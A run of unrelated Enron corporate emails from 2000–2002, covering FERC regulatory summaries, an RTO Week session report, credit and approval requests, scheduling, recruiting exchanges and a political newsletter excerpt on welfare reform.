contracts to the ECS Compression Company, L.L.C.  Your timely review will be 
appreciated.  

http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000008582&Page=

Request ID          : 000000000008582
Request Create Date : 11/29/00 12:26:42 PM
Requested For       : wes.williams@enron.com
Resource Name       : EOL US Backoffice  Product Data Manager

Could you please put me on your distribution list?  I've found your summari=
es to be very helpful - I usually get them forwarded to me by someone, but =
I may not be getting all of them.  Thanks!

From: Watson, Kimberly=20
Sent: Friday, October 05, 2001 11:12 PM
To: Donoho, Lindy
Subject: FW: Summary of NOI

Lindy, any comments?  Thanks, Kim.

From:=09Butler, Janet
Sent:=09Thu 10/4/2001 4:52 PM
To:=09Bagot, Nancy; Benner, Martha; Blair, Lynn; Boatman, Jack; Butler, Jan=
et; Cordes, Bill; Corman, Shelley; Culwell, Christi; Daniel, Shonnie; Darve=
aux, Mary; Dietz, Rick; Dornan, Dari; Dushinske, John; Farrell, Sharon; Fos=
sum, Drew; Fritch, Bret; Fulton, Donna; Goodpasture, John; Harris, Steven; =
Hartsoe, Joe; Hass, Glen; Hayes, Robert; Hayslett, Rod; Heckerman, Bambi; H=
ess, Theresa; Hill, Robert; Holmes, Bradley; Holtzman, Staci; Horton, Stanl=
ey; Janousek, Martha; January, Steven; Kilmer III, Robert; King Jr., Frazie=
r; Kirk, Steve; Kissner, Tim; Lantefield, Laura; Lichtenwalter, Blair; Loef=
fler, Michael; Lowry, Phil; Mann, Ruth; Martens, Donna; McCoppin, Dorothy; =
McGowan, Mike W.; Miller, Mary Kay; Nacey, Sheila; Nelson, Kimberly (ETS); =
Neppl, Ray; Neubauer, Dave; Neufeld, Eva; Novosel, Sarah; Paladino, Ranelle=
; Paschal, Zelda; Patterson, Geneva; Pavlou, Maria; Petersen, Keith; Place,=
 Janet; Porter, Gregory J.; Pribble, Dan; Prizont, Karina; Pryor, Tony; Rak=
er, Colleen; Rice, Randy; Ringblom, Kathy; Saunders, James; Sawyer, Lisa; S=
cott, Donna; Soldano, Louis; Stanton, Lon; Talcott, Jim; Taylor, Gina; Tu, =
Denis; Van Norden, Mike; Veatch, Stephen; Vignaroli, Donald; Warner, Jody; =
Watson, Kimberly; Wilkie, Kim; Wilson, Rob; Winckowski, Michele
Cc:=09
Subject:=09Summary of NOI

Attached is an executive summary of the NOI on Electronic Service of Docume=
nts, RM01-11. Essentially, FERC wants to expand service electronically to a=
llow individuals to receive documents through email without the need for in=
terventions just to be kept informed of the proceedings. FERC is making two=
 proposals, one for service to parties and one for service to individuals f=
or a cost (FERC states cost recovery but no specifics).

Comments are due November 2. Joe has asked that I coordinate comments for o=
ur pipelines. Let me know who you wish to participate.=20

 <<Summary-RM01-11.DOC>>=20

The following reports have been waiting for your approval for more than 4 days.  Please review.

Owner: Jennifer J Fraser
Report Name: JF091301
Days In Mgr. Queue: 5

Owner: John L Nowlan Jr
Report Name: October 17, 2001
Days In Mgr. Queue: 7

I would wear nice slacks and a nice shirt...maybe like you would wear to a nice dinner if you didn't have to wear a jacket..that kind of thing.  I don't think a suit is necessary.  See you friday!
Mo

From: 	Scott Atlas <scottatlas@yahoo.com>@ENRON  
Sent:	Wednesday, October 10, 2001 3:09 PM
To:	Sanchez, Monique
Subject:	RE: Reminder

Hey You,

I will see you Friday.  Do you think I need a suit or
is this more casual?

Scott
--- Monique.Sanchez@enron.com wrote:
> Scott,
>
> Victor de la Madrid is the guy you will be meeting
> with.  He would like you
> to come in to sit w/ him on Friday from 9-10am.
> There is a parking garage
> that is caddy-corner to our building that you can
> park in.  If you come
> downtown via allen parkway and take the downtown
> exit that says
> 45North...staying in the left hand lane that will
> put you on Clay and West
> Dallas...stay on  Clay and there will be the Allen
> Center Garage on your
> right.. the visitor entrance will be before the next
> light.  Once you enter
> the main enron building...go to the security desk in
> the front and have
> them buzz me as your visitor.  I will send a runner
> to get you bc we will
> be busy trading at that time.  Once you are on our
> floor I'll get you over
> to Victor.
> Please call me if you have any questions...my work
> phone is 713-853-1917.
>
>
>
>    From:   Scott Atlas <scottatlas@yahoo.com>@ENRON
>    Sent:   Tuesday, October 09, 2001 8:12 AM
>    To:     Sanchez, Monique
>    Subject:  Reminder
>
>    Hey Mo,
>
>    Just shooting you a reminder as per your request.
> I
>    hope you are ok, let me know if you need
> anything.
>
>    Scott
>
>
> __________________________________________________
>    Do You Yahoo!?
>    NEW from Yahoo! GeoCities - quick and easy web
> site hosting, just
>    $8.95/month.
>    http://geocities.yahoo.com/ps/info1
>
>
>
>
> This e-mail is the property of Enron Corp. and/or
> its relevant affiliate and may contain confidential
> and privileged material for the sole use of the
> intended recipient (s). Any review, use,
> distribution or disclosure by others is strictly
> prohibited. If you are not the intended recipient
> (or authorized to receive for the recipient), please
> contact the sender or reply to Enron Corp. at
> enron.messaging.administration@enron.com and delete
> all copies of the message. This e-mail (and any
> attachments hereto) are not intended to be an offer
> (or an acceptance) and do not create or evidence a
> binding and enforceable contract between Enron Corp.
> (or any of its affiliates) and the intended
> recipient or any other party, and may not be relied
> on by anyone as the basis of a contract by estoppel
> or otherwise. Thank you.
>

Attached is FERC authorization for EPMI and EES to purchase power from 
industrials NATIONWIDE (effective March 6, 2001--Does not expire).  The 
industrial does not have to obtain its own power marketer license from FERC 
(subject to EPMI and EES making certain after the fact quarterlty filings for 
the industrials). 

Specifics:

Owners of generating facilities located at business locations and used 
primarily for back-up for self-generation (who will be "public utilities" 
subject to the Federal Power Act only while they sell at wholesale) can sell 
power at wholesale from such facilities to EPMI and EES without prior notice 
under section 205 of FPA (would usually require 60 day advance notice 
filing).  
  -- Waives certain parts of the filing requirements for the industrial; 
however, the industrial will still be subject to shortened filing 
requirements for dispositions of facilities and interlocking positions while 
they are selling at wholesale.
 -- EPMI and EES will make the FERC quarterly filings on behalf of the 
industrials for any of these purchases.  Our report must show the names of 
the industrial; aggregate amount of capacity and/or energy purchased from 
each seller; and the aggregate compensation paid to each seller.  
Accounting/commercial folks for EPMI and EES-- please make sure these 
purchases are flagged in the accounting system, since the report will be 
separate from our big quarterly reports.
 -- This does not authorize the retail industrial customer to violate any 
rules or tariffs of its host utility.  This does not authorize an industrial 
to resell power it purchases (only can sell what it generates); unless 
otherwise allowed (or not precluded) by its retail tariff.

West Desk:  This is similar to the authorization that FERC gave last week to 
purchases from industrials in WSCC.

____________________________________
On April 27, FERC issued an order granting EPMI and EES the authority to 
purchase power from IPPs at market-based rates.  As the attached order 
indicates, the effective date of the EPMI and EES rate schedules is March 6, 
2001.

 - ER011394.wpd
 - ER011394.doc

Would LOVE to..............however, unable to attend due to prior commitments.  Have a glass for me.

Regards,

Jon

From: 	Joslyn, Kate  
Sent:	Wednesday, June 13, 2001 10:37 AM
Subject:	BBQ

Jon
Are you coming to the BBQ this saturday?
KJ

approved

Sent:	Wednesday, January 30, 2002 10:58 AM
To:	Bodnar, Michael; Buehler, Craig; Cherry, Paul; Dasilva, Esther; Donoho, Lindy; Frazier, Perry; Lee, Dennis; Lindberg, Lorraine; Lohman, TK; Lokay, Michelle; Sheffield, Sandy; White, Angela
Subject:	Credit request Wasatch Energy, LLC

Credit Approval Requested:

Request submitted to CAS for Capacity Approval

Shipper :		Wasatch Energy, LLC
Contract # :		27723
Service Type :	FT
MDQ:			1,200 Dth/d (MDQ increase from 600 Dth/d)
Rate:			No Change
Term:			March 1, 2002 thru May 31, 2002

ETS

Sounds Good.

Tammi DePaolis
02/08/2001 12:09 PM
To: Phil DeMoes/Corp/Enron@ENRON
cc: john.hodge@enron.com 

Subject: Re: CP&L/Piedmont Capacity  

how about aournd 2:00? is that okay with you?

RTO Week

 <?xml:namespace prefix =3D o ns =3D "urn:schemas-microsoft-com:office:offi=
ce" />

Day 4 - October 18, 2001

Afternoon Session

=20

Standardizing Markets, Business, and Other Practices=20

Panelists for this discussion were:  Sarah Barpoulis, PG&E National Energy =
Group; William P. Boswell, GISB; Bill Burkes (substituting for David J. Chr=
istiano), City Utilities of Springfield, Missouri; David N. Cook, NERC Gene=
ral Counsel; Michael Kormos PJM Interconnection; LeRoy Koppendrayer, Minnes=
ota Public Utilities Commission; and Marty Mennes, Florida Power & Light Co=
mpany.

=20

General Observations

=20

The Commissioners were all present the majority of the time (Massey left la=
te in the  afternoon).  FERC Staff was active in the discussion; however, t=
he commissioners were very active as well, asking perhaps as much as 70% of=
 all questions.  There was a general consensus that standards were needed; =
much discussion focused simply on how much and by who. The Commission seeme=
d very interested in leaning what they needed to do to move the industry fo=
rward and how far they needed to go.  Panelists urged the need to mover for=
ward as quickly as possible, but both they and FERC seemed to recognize tha=
t some of the issues regarding standardized market design and such needed t=
o be addressed before RTOs could really begin to move forward.  There was d=
iscussion on identifying which industry group (NERC or GISB) would take the=
 reins in the future.  On an interesting tangential note, there was noticea=
ble conflict between NERC and GISB, with veiled insults between the two org=
anizations somewhat common during the discussions.=20

=20

FERC Deliverables

A great deal of the discussions focused on identifying what the industry ne=
eded from the Commission.  Staffers probed all panelists to find what they =
felt was critical. =20

The first major topic was "How many RTOs?  What is their scope?"  All panel=
ists seemed to agree that this question needed to be answered immediately b=
y FERC, in strong definitive language.  N o one offered any specific langua=
ge, but seemed to be urging FERC to issue a formal statement.

The next topic was, "What will be standard market design?"  Panelists varie=
d on this, but most felt strong guidance from FERC is urgent.  Some urged f=
or one mandatory design for North America, one supported a set of rigid sta=
ndard designs, one supported a single design with requests for exceptions (=
followed by an in-depth review process), and one seemed to prefer the curre=
nt situation.

The commission in general seemed to be very interested in understanding wha=
t the industry needed to move forward.  They continually visited this topic=
 throughout their discussions, asking questions like, "Do we need to issue =
a Mega-Order that addresses all these issues?" and, "How much detail do you=
 need us to provide?"   General feel from the panelsists seemed to be they =
wanted strong leadership in this areas.  Kormos and Burkes went so far as t=
o say FERC should "Mandate as much as they felt comfortable - and then go a=
 little further."  Others seemed to be a little worried about this idea, bu=
t in general did not oppose the concept, citing only general warnings and t=
he need for cautious investigation. =20

One item of interest: Wood referred to the filing made by the Electronic Sc=
heduling Collaborative and specifically asked if the items identified in th=
e "RTO Design and RTO Implementation" section would address many of the que=
stions and uncertainty facing the industry with regard to RTO design.  Korm=
os indicated that clear and specific answers to these questions specifying =
a course of action would go a long way toward guiding the industry.  The se=
ction to which Wood referred was one that I wrote, and asked the following =

?         Congestion Management - When Operational Security Violations occu=
r, how is the system to be stabilized in a fair and equitable manner that i=
s nonetheless efficient?  Will LMP based systems be standard, or will there=
 be others that must be accommodated?

?         Transmission Service  - Are transmission services required to sch=
edule ("covered" schedules only), or are they risk management tools protect=
ing from congestion charges (both "covered" and "uncovered" schedules are a=
llowed)?=20

?         Loop Flows  - Are contract-path based or flow-based transmission =
services appropriate?  If contract-path based, how are parallel path issues=
 to be addressed?

?         Grandfathered Transmission Service - Should contracts existing pr=
ior to RTO development be transferred, or is there an equitable way to reti=
re those contracts?  Are there other solutions?

?         Energy Imbalance Markets - How are imbalance markets to function?=
 Will they serve as real-time energy markets (support unbalanced schedules)=
, be limited to supplying needs of imbalance service (require balanced sche=
dules), or will they be required at all?

?         Ancillary Services - Will ancillary service markets be developed =
in standard ways?  Will entities be required to actually schedule ancillary=
 services (required to schedule), or will they be treated primarily as fina=
ncial instruments (protecting against real-time POLR charges)?

?         Losses - Can we utilize the imbalance markets to support losses? =
 Can we create specific loss standards that facilitate the scheduling proce=
ss, or must we support methods that are currently in tariffs, but technical=
ly unwieldy?

?         Non-Jurisdictionals - How are non-jurisdictionals to be integrate=
d into the new world?  Should systems be designed with the assumption that =
non-jurisdictional will be part of an RTO?  Or should they be designed to t=
reat each NJE as a separate entity?

Hopefully, FERC will use this section as a template to answer these critica=
l questions in an assertive manner, and give some solid direction in which =
to move. Kormos emphasized the need for concrete answers to these questions=
, pointing out that vague answers (i.e., "do congestion management") will t=
ake a year or two to resolve, but specific answers (i.e., "LMP with financi=
al hedging instruments") will take only months.  The Commission asked Mike =
about moving forward, and he told them that effectively, it was impossible =
to move forward with implementation without getting these issues addressed.

Now for a  funny point - One of the commissioners (I think Breathitt) refer=
red to some concerns expressed in the Northwest that their high concentrati=
on of hydro power makes LMP inefficient for the Northwest.  Kormos flat out=
 said, "My profession is understanding how power systems work, and I don't =
believe that that statement is true."  He then backpedaled a bit and said t=
hat it would need more study, but he stood by his statement that the assert=
ion by the Northwest interests was false.

NERC and GISB

A great deal of discussion focused around the need for a single standard-se=
tting organization.  Massey went so far as to ask, "Are we looking at a bea=
uty contest between NERC and GISB?"  Cook and Boswell then went into severa=
l short polite jabs at each other's organizations.  Other participants cont=
inually reiterated the need for ONE, INDEPENDENT organization.  Interesting=
ly, Boswell was very emphatic about the established trust and respect in GI=
SB, while Cook preferred to only talk about the "new" structure of NERC and=
 did not focus on its history.

Brownell offered some not-too-subtle passive support of GISB by pointedly a=
sking both Cook and Boswell if they lobbied political positions (i.e., were=
 they not only an organization but also a stakeholder?).  GISB was easily a=
ble to say they were not, but NERC of course had to admit to their romancin=
g of Congress and the Bush administration for reliability legislation. Poin=
t, Brownell.

Mennes acted as somewhat of a supporter for NERC, playing Dave Cook's yes-m=
an.  He probably did them a little bit of harm by pointing to NERC's suppos=
ed "successes," such as TLR and E-Tag.  If staffers have tenure, they will =
likely remember that these "successes" have not been so successful, resulti=
ng in several filings and interventions.  We may also wish to file comments=
 in specific objection to these claims, to refresh their memory and to show=
 the pretty picture Marty painted was in fact a fiction.

There was a little discussion about splitting reliability and market issues=
, but general consensus was that I could not be done.  There was also some =
talk of folding NERC under GISB/EISB.

The arguments began winding down after a some time, and Boswell strongly ur=
ged the Commission to speak to industry executives and advocacy group leade=
rship to see whether NERC or GISB should lead the industry forward.  NERC s=
omewhat less enthusiastically supported this position.  In general, I would=
 say it was a close fight but GISB came out more on top.

Andy Rodriquez
Regulatory Affairs - Enron Corp.
andy.rodriquez@enron.com
713-345-3771=20

Okay, we've moved it to 3:00 today in Eric's office EB1353.

From: Eisenstein, Arnold L. 
Sent: Wednesday, February 20, 2002 9:53 PM
To: Wadle, Susan
Subject: RE: Invitation to a Sun Devil Meeting 2/21 at 1:30

I have a project status review with J. Martin and the project team on Red Rock until 3:00pm

From: Wadle, Susan 
Sent: Wed 2/20/2002 11:14 AM 
To: Hyatt, Kevin; Centilli, James; Eisenstein, Arnold L. 
Cc: 
Subject: Invitation to a Sun Devil Meeting 2/21 at 1:30

The original message was received at Fri, 23 Mar 2001 10:37:51 -0800
from uucp@localhost

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        david_lucio@iep.illinova.com, king.lum@BCHydro.bc.ca,
        kevin.lynch@pacificorp.com, Mark.Maehr@enron.com,
        Randal.T.Maffett@enron.com, John.Malowney@enron.com,
        Sueyen.Mao@enron.com, Susan.J.Mara@enron.com, Susan.J.Mara@enron.com,
        Lee.Martin@enron.com, maurw@perkinscoie.com, Wayne.Mays@enron.com,
        Michael.McCall@enron.com, Sandra.McCubbin@enron.com,
        Travis.McCullough@enron.com, Michael.McDonald@enron.com,
        brugen@erols.com, mckinley@wpuda.org, mcm@vnf.com, mcnichol@wapa.com,
        shauna@pnucc.org, Maureen.McVicker@enron.com, pmeringolo@brobeck.com,
        demetcalf@bpa.gov, cemeyer@bpa.gov, jmilegich@sppc.com,
        fred_miller@pgn.com, Jeffrey.Miller@enron.com,
        jerry.miller@pacificorp.com, Laura.Miller@enron.com,
        scott.miller@ferc.fed.us, Bill.Miner@enron.com,
        phil_moeller@gorton.senate.gov, pmohler@hewm.com, emoler@velaw.com,
        nkmorgado@bpa.gov, Mike@tonkon.com, krmoxness@bpa.gov,
        mmps@millcreeklaw.com, pmurphy@mbllp.com, terrym@millcreeklaw.com,
        bmurtha@acy.sunint.com, Rich.Nassief@enron.com, tod@mgninc.com,
        Douglas_Nichols@pgn.com, Patty.Nichols@enron.com,
        Christi.Nicolay@enron.com, tmnoguchi@bpa.gov, darcy@tonkon.com,
        Sarah.Novasel@enron.com, Sarah.Novosel@enron.com,
        Tom.O'Donnell@enron.com, PObenchain@idahopower.com,
        Pegy.Olds@enron.com, Carol.Opatrny@enron.com, tpaine@avistacorp.com,
        Dave.Parquet@enron.com, bpascoe@mtpower.com, afpaschke@bpa.gov,
        ccperigo@bpa.gov, wlpernas@stoel.com, lpeters@pacifier.com,
        jill@pnucc.org, Mona.L.Petrochko@enron.com, npickover@bracepatt.com,
        Phillip.Platter@enron.com, Alfred.Pollard@enron.com,
        Walt.Pollock@enron.com, gporter@sppc.com, Kevin.M.Presto@enron.com,
        jquint@puget.com, arlene.ragozin@ci.seattle.wa.us, maraschio@bpa.gov,
        Dale.Rasmussen@enron.com, Scott.Rasmussen@enron.com,
        Bobby.Reeves@enron.com, preiten@pngc.com, reyna2r@kochind.com,
        shellyr@pacifier.com, Jeff.Richter@enron.com, raroach@bpa.gov,
        atrodrigues@bpa.gov, rarogers@bpa.gov, peterroi@erols.com,
        Rothfelder@rlo-law.com, Richard.Sanders@enron.com, 
jsaven@pacifier.com,
        Michael.Schilmoeller@enron.com, jschlect@avistacorp.com,
        Sabine.Schnittger@frontier-economics.com, Diana.Scholtes@enron.com,
        Roger.Seifert@enron.com, Cara.Semperger@enron.com,
        asettanni@bracepatt.com, Richard.Shapiro@enron.com, vsharp@enron.com,
        msmith1@enron.com, Joshua.Sheinkman@enron.com, jshurts@nwppc.org,
        Sid@enron.com, msizer@ci.tacoma.wa.us, slavens.paula@deps.ppl.com,
        small@wrightlaw.com, small@wrightlaw.com, douglas.smith@ferc.fed.us,
        Mike.Smith@enron.com, Roger.Smith@enron.com,
        Larry.Soderquist@enron.com, Harvey.Spigal@enron.com,
        mstauffer@mtpower.com, James.D.Steffes@enron.com,
        James.D.Steffes@enron.com, mestewardpsedc@worldnet.att.net,
        JKStier@bpa.gov, rbstrong@paine-hamblen.com, DASwanstrom@Verner.com,
        Mike.Swerzbin@enron.com, tabors@tca-us.com, Ron.Tapscott@enron.com,
        James.K.Tarpey@enron.com, Jake.Thomas@enron.com,
        ryan_thomas@burns.senate.gov, jrt2058@idahopower.com,
        maryann@pnucc.org, mtierney@sempra.com, robin_tompkins@pgn.com,
        Ann.Tumlinson@enron.com, AW.Turner@enron.com, Sheila.Tweed@enron.com,
        Lisa.Urick@enron.com, rvermeers@avistacorp.com,
        Frank.W.Vickers@enron.com, John.Walley@enron.com,
        kristiwallis@sprintmail.com, walshl@howrey.com, swalton@enron.com,
        Steve.Walton@enron.com, kaward@bpa.gov, Kim.Ward@enron.com,
        Carol.Wardell@enron.com, dwatkiss@bracepatt.com, sawatson@bpa.gov,
        judy.welch@NWPP.ORG, 211-6155@mcimail.com, Kwenzel@zzz.com,
        cwestadt@sppc.com, Brian.Whalen@enron.com, Bill.Williams@enron.com,
        klwmtp@worldnet.att.net, lyn_williams@pgn.com, Greg.Wolfe@enron.com,
        Vickie.Wolk-Laniewski@enron.com, Ed.Wood@enron.com, mwood@stoel.com,
        Steve.Wright@enron.com, Teresa.L.Wright@enron.com, WSCC@enron.com,
        Charles.Yeung@enron.com, Christian.Yoder@enron.com,
        Steven.J.Kean@enron.com, Steve.Kean@enron.com,
        Travel.in.the.Park@enron.com, D.Brett.Hunsucker@enron.com,
        Carla.Hoffman@enron.com, Bernadette.Hawkins@enron.com,
        Joe.Hartsoe@enron.com, Donna.Fulton@enron.com, Roger.Fragua@enron.com,
        James.B.Fallon@enron.com, Michael.Etringer@enron.com,
        Terry.W.Donovan@enron.com, Stacy.Dickson@enron.com,
        Ginger.Dernehl@enron.com, Rhonda.L.Denton@enron.com,
        Jeff.Dasovich@enron.com, Sean.Crandall@enron.com, 
Tom.Briggs@enron.com,
        t.briggs@enron.com, Stacey.Bolton@enron.com, dbenevid@enron.com,
        dbenevid@enron.com, Tim.Belden@enron.com, Robert.Badeer@enron.com,
        Phillip.K.Allen@enron.com, Alan.Comnes@enron.com, Lysa.Akin@enron.com,
        Portland.West.Desk@enron.com, assad@elektro.com.br,
        Alan.Comnes@enron.com, Alberto.Levy@enron.com, Aleck.Dadson@enron.com,
        Allison.Navin@enron.com, Amy.Fabian@enron.com,
        Barbara.A.Hueter@enron.com, Bernadette.Hawkins@enron.com,
        Bill.Moore@enron.com, cristinah@elektro.com.br,
        Carlos.Gustavo.Azevedo@enron.com, Carmen.Perez@enron.com,
        Carolyn.Cooney@enron.com, Charles.Yeung@enron.com,
        Chauncey.Hood@enron.com, Chris.Long@enron.com,
        Christi.L.Nicolay@enron.com, Cynthia.Sandherr@enron.com,
        Damon.Harvey@enron.com, Dan.Staines@enron.com,
        Daniel.Allegretti@enron.com, Dave.Mangskau@enron.com,
        Donald.Lassere@enron.com, Donna.Fulton@enron.com,
        Eidy.Catala@enron.com, Elizabeth.Linnell@enron.com,
        Frank.Rishe@enron.com, Geriann.Warner@enron.com,
        Ginger.Dernehl@enron.com, Gisele.S.Braz@enron.com,
        Gloria.Ogenyi@enron.com, Guillermo.Canovas@enron.com,
        Harry.Kingerski@enron.com, Howard.Fromer@enron.com,
        James.D.Steffes@enron.com, Janine.Migden@enron.com,
        Javier.Pantoja@enron.com, Jean.R.Dressler@enron.com,
        Jean.Ryall@enron.com, Jeff.Brown@enron.com, Jeff.Dasovich@enron.com,
        Jeffrey.Keeler@enron.com, Joao.Paixao@enron.com, Joe.Allen@enron.com,
        Joe.Connor@enron.com, Joe.Hartsoe@enron.com, Joe.Hillings@enron.com,
        Jose.Bestard@enron.com, Joseph.Alamo@enron.com,
        Kathleen.Sullivan@enron.com, Kerry.Stroup@enron.com,
        Kikumi.Kishigami@enron.com, Kirsten.Bellas@enron.com,
        Lara.Leibman@enron.com, Laurie.Knight@enron.com,
        Leslie.Lawner@enron.com, Linda.J.Noske@enron.com,
        Linda.Robertson@enron.com, Lindsay.Meade@enron.com,
        Lisa.Yoho@enron.com, Lora.Sullivan@enron.com, Luiz.Maurer@enron.com,
        Lysa.Akin@enron.com, Marchris.Robinson@enron.com,
        Marcia.A.Linton@enron.com, Marcie.Milner@enron.com,
        Mary.Hain@enron.com, Maureen.McVicker@enron.com,
        Melinda.Pharms@enron.com, Michelle.Belzak@enron.com,
        Mona.L.Petrochko@enron.com, Nancy.Hetrick@enron.com,
        Patrick.Keene@enron.com, Ray.Alvarez@enron.com,
        Rebecca.W.Cantrell@enron.com, Ricardo.Charvel@enron.com,
        Richard.Ingersoll@enron.com, Richard.Shapiro@enron.com,
        Robert.Frank@enron.com, Robert.Hemstock@enron.com,
        Robert.Neustaedter@enron.com, Robin.Kittel@enron.com,
        Ron.McNamara@enron.com, rboston@enron.com, Rubena.Buerger@enron.com,
        Sandra.McCubbin@enron.com, Sarah.Novosel@enron.com,
        Scott.Bolton@enron.com, Sergio.Assad@enron.com, Stella.Chan@enron.com,
        Stephen.D.Burns@enron.com, Steve.Montovano@enron.com,
        Steve.Walton@enron.com, Steven.J.Kean@enron.com, Sue.Nord@enron.com,
        Susan.J.Mara@enron.com, Susan.M.Landwehr@enron.com,
        Terri.Miller@enron.com, Thane.Twiggs@enron.com, Tom.Briggs@enron.com,
        Tom.Chapman@enron.com, Tom.Delaney@enron.com, Tom.Hoatson@enron.com,
        Tracy.Cooper@enron.com, Valeria.Lima@enron.com, 
Vinio.Floris@enron.com,
        Xi.Xi@enron.com, Steven.J.Kean@enron.com, Jeffrey.Keeler@enron.com,
        Christi.L.Nicolay@enron.com, Sarah.Novosel@enron.com,
        Robert.Frank@enron.com, Lara.Leibman@enron.com,
        Gloria.Ogenyi@enron.com, Richard.Shapiro@enron.com,
        Leslie.Lawner@enron.com, Paul.Kaufman@enron.com,
        Aleck.Dadson@enron.com, Daniel.Allegretti@enron.com,
        Howard.Fromer@enron.com, Joe.Hartsoe@enron.com, rboston@enron.com,
        Janine.Migden@enron.com, Christie.Patrick@enron.com,
        Jane.Wilson@enron.com, Rhonda.L.Denton@enron.com,
        kmagruder@newpower.com, scovino@newpower.com, 
Rebecca.Carter@enron.com,
        Shelley.Corman@enron.com, Janet.Butler@enron.com,
        Kevin.M.Presto@enron.com, Brad.Richter@enron.com, 
Greg.Piper@enron.com,
        Kevin.McGowan@enron.com, Kim.Ward@enron.com, Leslie.Reeves@enron.com
14, 2000) at
 03/23/2001 12:29:04 PM
content-length: 375

Mary Hain

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/19/2001 
   
	From:  Jason Sokolov                           01/19/2001 04:46 PM
	
cc:  
Subject: Data

Vince,
I have downloaded data for
- NYMEX prompt-month NG contract since 1996
- COB day-ahead power prices
- CINERGY day-ahead power prices

I am still looking for CalPX real-time prices.

Jason

You are invited to join us in Vegas for the Customer Appreciation trip on October 4th - 7th....please see the attached forms below and get them back to me ASAP:

Hope to see you there.....

T.jae

Greg,

I have forwarded you via inter-office mail 2 execution originals of the Rio 
Nogales Interconnect Agreement for your further handling.  

Thanks,

Any time you'd like to get here.  I'll be happy to set you up with a strong 
schedule.  
I'm glad you finally met Per.  He's been a little busy since I reorg'd the 
group and put him in charge.  Thanks for your patience, however.  

Jeff

	Nathaniel Jeppson <Njeppson@ALLENCO.COM>
	02/14/2001 10:34 AM
		 
		 To: "'Jeffrey.A.Shankman@enron.com'" <Jeffrey.A.Shankman@enron.com>
		 cc: 
		 Subject: RE: follow-up

Jeff,
Finally spoke to Per yesterday and we agreed to have lunch on the 26th (he's
in Houston this week and on vacation next week).  Any thoughts on my getting
down to Houston?  Hope you are well.
Nat

From: Jeffrey.A.Shankman@enron.com [mailto:Jeffrey.A.Shankman@enron.com]
Sent: Monday, February 05, 2001 1:58 PM
To: Njeppson@ALLENCO.COM

Hi, thanks for the update.  Per was in Houston last week,  and I've asked
him to get with you soon.  Please call him (he should be expecting your
call) at our office in NY at.   212-702-3910.  Would you also like to come
to houston for a visit and interview?   Jeff

                    Nathaniel

                    Jeppson              To:
"'Jeffrey.A.Shankman@enron.com'"   
                    <Njeppson@ALL        <Jeffrey.A.Shankman@enron.com>

                    ENCO.COM>            cc:

                                         Subject:     RE: follow-up

                    02/02/2001

                    06:20 PM

Jeff,
Quick update.  I called Jeff to see if is going to be in NY next week, his
sec. said that he's out of the office today and apparently not scheduled to
be in NY next week.  I am hoping that we will talk soon.  No call for Per
(sp?) in the NY office.  Hope you are well,
Nat

Sent: Tuesday, January 23, 2001 2:30 PM

I saw him this morn, and asked if he called you.  call him tomorrow or
thurs, and i'll follow up......

To:   "'Jeffrey.A.Shankman@enron.com'" <Jeffrey.A.Shankman@enron.com>
cc:
Subject:  RE: follow-up

Jeff,
Feedback I got from a large bank on the street is that they always
recommend

Nat

Looks fine to me.

Maureen - please keep on file

From: Billy Lemmons/ENRON@enronXgate on 06/13/2001 07:08 AM
To: Stanley Horton/ENRON@enronXgate, Steven J Kean/NA/Enron@Enron
cc: Ted C Bland/ENRON@enronXgate, Teresa Bosien/ENRON@enronXgate 

Subject: DRAFT - PRC Follow Up Memo

Stan and Steve,

Below is a short email that I suggest we send as a follow up to each PRC 
meeting.  Please adjust as you feel appropriate, and I'll ask Terry Bosien to 
provide your assistant with a list of attendees after each meeting for 
distribution.  I'm traveling today, but will be back in the office Thursday.  
If you'd like to discuss my asst Maxine (x33499) knows how to reach me, or 
you can contact Ted or Terry. 

Regards,
Billy

___________________

Thank you for participating in the [EES] Analyst & Associate PRC meeting 
[last Friday].  The Western Hemisphere final PRC meeting for Analysts & 
Associates is set for July 18.  The purpose of this meeting will be to review 
the collective ranking distributions, and to discuss the performance of 
individuals in categories 1 and 5.  A subset of those who participated in 
[Friday's] meeting will be selected to participate on July 18.  After the 
July 18 meeting, you will receive the ok to provide feedback to those you 
represented.  If you are not the direct supervisor of those you represented, 
it is critically important that you work with the supervisor to insure 
consistent and clear feedback and ownership of the ranking results.

If you have any questions, please feel free to contact Terry Bosien 
(x35230).  Thank you again for your contributions to this important process.  

 From the 11/26/01 New Dem Daily.  Please let the Colorado DLC know what 
you think.

With the U.S. economy in recession and the unemployment rate up above 5 
percent, there is naturally some speculation that the millions of former 
welfare recipients who began working since the 1996 national welfare reform 
legislation was enacted may now be at special risk of falling back onto 
public assistance. Indeed, within the last week, columnists E.J. Dionne of 
The Washington Post and Bob Herbert of The New York Times have suggested 
that the successful welfare reform experiment of the 1990s might soon fall 
apart in the wake of recession.

But the facts suggest otherwise.  In an article for the forthcoming 
January/February 2002 edition of Blueprint magazine, which will focus on 
the next steps in welfare reform, Blueprint Executive Editor Tom Mirga 
takes a look at the record and finds abundant evidence that welfare 
reform's success story remains stubbornly intact so far despite the new 
pressures of a slowing economy 
(http://www.ndol.org/ndol_ci.cfm?contentid=3961&kaid=114&subid=143).

Exhibit A of Mirga's case is a mid-October survey by the Welfare to Work 
Partnership, a voluntary association of more than 20,000 companies who have 
agreed to hire welfare recipients.  According to Rodney Carroll, the 
president and CEO of the Partnership, 57 percent of the firms he surveyed 
said they were still hiring entry-level workers, and another 18 percent 
predicted they would be hiring such workers by the end of the 
year.  Eighty-seven percent of the firms reported that they had not laid 
off any former welfare recipients during the previous two months - which 
included the period immediately after the September 11 terrorist attacks 
when the travel and entertainment industries took a huge hit.

Mirga also looked at the official numbers in the five states with the 
largest welfare caseloads: California, New York, Texas, Pennsylvania, and 
Michigan.  In all but Michigan, caseload levels remained stable at 
historically low levels since last fall, when the 1990s boom first stalled 
nationally.  Michigan experienced a 3 percent increase in caseloads between 
September 2000 and March of 2001, but the level of public assistance is 
still only about a third of what it was at its peak in the 1980s.

In Texas and Pennsylvania, Mirga discovered that some of the upward 
pressure on caseload levels is attributable to deliberate policy changes 
that allowed welfare recipients to retain some public assistance while 
working in private sector jobs.  While expressing considerable concern 
about the effects of a sustained period of rising unemployment, state 
officials remain very optimistic about the long-term job prospects of their 
former and current clients.

What they understand - and many persistent critics of work-based welfare 
reform don't - is that the welfare system has undergone a profound cultural 
change since 1996.  Michigan welfare director Doug Howard, who is also 
president of the American Public Human Services Association, says work 
